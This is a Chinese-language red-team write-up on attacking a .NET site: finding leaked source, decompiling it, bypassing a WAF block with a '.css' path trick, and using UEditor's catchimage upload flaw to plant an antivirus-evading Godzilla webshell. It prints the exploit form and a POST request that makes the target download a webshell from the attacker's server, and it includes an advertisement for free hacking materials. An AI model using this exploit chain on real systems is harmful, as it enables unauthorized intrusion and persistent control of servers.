最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。
通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。
进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。
使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。
C#代码经过编译后为dll文件形式
,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll
文件中存在主要的后端逻辑代码。
但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。
查看方法:将dll文件丢入dnspy即可。
在源码中发现该系统使用UEditor。
可得UEditor的路径/Utility/UEditor/controller.ashx
访问关键接口/Utility/UEditor/?action=catchimage
和/Utility/UEditor/?action=config
然而服务器返回403无法访问。
通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注“freebuf”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
使用/Utility/UEditor/.css?action=catchimage
可进行bypass,成功访问关键接口。
接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。
漏洞利用参考链接:
https://www.freebuf.com/vuls/181814.html
上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。
于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。
方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。
传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<inputtype="submit" value="Submit" />
</form>
原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。
POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx
请求发送后,返回包返回webshell路径。
UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限;
在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。